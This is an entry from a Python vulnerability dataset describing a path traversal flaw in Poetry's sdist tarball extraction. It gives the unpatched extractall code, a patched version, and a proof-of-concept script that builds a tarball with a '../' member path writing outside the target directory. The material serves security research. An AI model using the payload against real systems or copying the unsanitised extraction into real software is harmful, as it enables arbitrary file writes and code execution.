CVE-2026-41140
Path traversal vulnerability in Poetry when extracting sdist tarballs.
- CVSS 0.6
- CWE-22
- Input Validation and Sanitization
- Remote
Poetry is a dependency manager for Python. Prior to 2.3.4, the extractall() function in src/poetry/utils/helpers.py:410-426 extracts sdist tarballs without path traversal protection on Python versions where tarfile.data_filter is unavailable. Considering only Python versions which are still supported by Poetry, these are 3.10.0 – 3.10.12 and 3.11.0 – 3.11.4. This vulnerability is fixed in 2.3.4.
- CWE
- CWE-22
- CVSS base score
- 0.6
- Published
- 2026-04-24
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Poetry
- Fixed by upgrading
- Yes
Solution
Upgrade Poetry to version 2.3.4 or later.
Vulnerable code sample
import tarfile
from pathlib import Path
# This function represents the vulnerable logic from src/poetry/utils/helpers.py
# before it was patched. The vulnerability lies in the direct call to
# `tar_file.extractall(dest)` without any path sanitization, which allows
# for path traversal attacks on affected Python versions.
def extractall(source: Path, dest: Path):
with tarfile.open(source) as tar_file:
tar_file.extractall(dest)Patched code sample
import tarfile
from pathlib import Path
def _get_safe_members(tar: tarfile.TarFile, dest: Path) -> list[tarfile.TarInfo]:
"""
Returns a list of TarInfo objects that are safe to extract.
This check is a backport of the `data` filter from Python 3.12 for
older, supported Python versions.
"""
members: list[tarfile.TarInfo] = []
dest_resolved = dest.resolve()
for member in tar.getmembers():
# Disallow dangerous member types (symlinks, device files, etc.).
if member.isdev() or member.islnk() or member.issym():
continue
try:
# Resolve the member's path to an absolute path.
# This evaluates any '..' path components.
member_path = (dest / member.name).resolve()
except FileNotFoundError:
# This can happen if the tarball contains a symlink that points
# to a file that does not exist. We can ignore it.
continue
# Check if the resolved path is within the destination directory.
if not member_path.is_relative_to(dest_resolved):
# This indicates a path traversal attempt.
continue
members.append(member)
return members
def extractall(source: Path, dest: Path) -> None:
"""
Extracts a tar archive with path traversal protection.
"""
with tarfile.open(source, "r") as tar:
# The 'data' filter, new in Python 3.12, provides this protection.
if hasattr(tarfile, "data_filter"):
tar.extractall(dest, filter="data")
else:
# For older Python versions (like the vulnerable 3.10 and 3.11),
# we manually filter for safe members before extraction.
safe_members = _get_safe_members(tar, dest)
tar.extractall(dest, members=safe_members)Payload
import tarfile
import io
import os
# The name for the malicious tar.gz file that will be created.
# This would typically be named to look like a legitimate sdist, e.g., "my-package-1.0.0.tar.gz"
output_filename = "malicious_sdist.tar.gz"
# The malicious path using traversal to write a file outside the intended directory.
# This payload will attempt to create a file named 'pwned' in the '/tmp/' directory.
malicious_path = "../../../../../../tmp/pwned_by_cve"
# The content to be written into the created file.
file_content = b"This file was created by exploiting the path traversal vulnerability."
# Use an in-memory bytes buffer for the file content.
content_stream = io.BytesIO(file_content)
# Create the malicious tar.gz archive.
with tarfile.open(output_filename, "w:gz") as tar:
# Create a TarInfo object for the malicious file entry.
tarinfo = tarfile.TarInfo(name=malicious_path)
tarinfo.size = len(file_content)
# Add the malicious file (metadata and content) to the archive.
tar.addfile(tarinfo, content_stream)
Cite this entry
@misc{vaitp:cve202641140,
title = {{Path traversal vulnerability in Poetry when extracting sdist tarballs.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-41140},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41140/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
